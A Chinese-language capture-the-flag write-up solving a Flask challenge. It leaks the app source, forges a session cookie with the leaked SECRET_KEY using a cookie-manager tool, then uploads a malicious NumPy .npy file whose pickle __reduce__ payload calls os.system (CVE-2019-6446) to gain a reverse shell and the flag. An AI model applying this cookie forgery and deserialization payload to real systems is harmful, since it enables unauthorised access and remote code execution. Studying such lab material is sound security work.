查看源代码发现几个重点
139.217.84.224/?destination=run.py
源码
# -*- coding: utf-8 -*- ''' ------------------------------------------------- File name : run.py Description : 用于启动 pro-system app Author : RGDZ Date : 2019/04/30 ------------------------------------------------- Version : v1.0 Contact : rgdz.gzu@qq.com License : (C)Copyright 2018-2019 ------------------------------------------------- ''' # here put the import lib from datetime import timedelta from numpy.lib import npyio from flask import Flask, render_template, redirect, session, request, url_for, jsonify app = Flask(__name__) app.config['SECRET_KEY'] = "KEY_SECRET_PWN_H**" app.config['PERMANENT_SESSION_LIFETIME']=timedelta(days=7) @app.route('/') def index(): destination = request.args.get('destination') session["username"] = "Agent Smith" # session["username"] = "Ne*" return render_template([destination]) @app.route('/matrix/',methods=['GET', "POST"]) def matrix(): if request.method != "GET": if session.get("username") != "Ne*": return u"Matrix discover you, so, you died..." npy = request.files.get("npy") npyio.load(npy) return render_template(["matrix.html"]) @app.route('/findRedeemer/',methods=['GET']) def upload(): username = session.get("username") if username == "Ne*": return jsonify(True) return jsonify(False) if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=80 )
源码中泄露了SECRET_KEY=KEY_SECRET_PWN_HUB(自己补全两个*为UB),可以重新计算cookie。但是遇到了一个坑,python2计算出来的结果不对,必须python3才可以
python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6IkFnZW50IFNtaXRoIn0.Xbqu_w.6JpcUsvd96SSEMniAHhyRJibM0Q' -s 'KEY_SECRET_PWN_HUB' # {'username': 'Agent Smith'} python3 flask_session_cookie_manager3.py encode -s 'KEY_SECRET_PWN_HUB' -t "{'username': 'Neo'}" # eyJ1c2VybmFtZSI6Ik5lbyJ9.XbqwrA.S8od8ybmeocOSQI-6wxYDsztqcU
用重新加密好的cookie访问 /findRedeemer 返回true,说明修改成功
然后跳到一个上传页面
根据代码审计,猜测是Numpy反序列化命令执行漏洞(CVE-2019-6446)
测试代码
from numpy.lib import npyio from numpy import __version__ print(__version__) import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system, ('whoami',)) if __name__ == '__main__': tmpdaa = Test() npyio.save("test", tmpdaa) npyio.load("test.npy")
在本地测试通过,然后遇到一个坑,在windows下生成的文件内容和linux下的不同,最后用linux下生成的文件上传上去,成功反弹shell。
flag{pwn_hub_web_matrix_sjwn}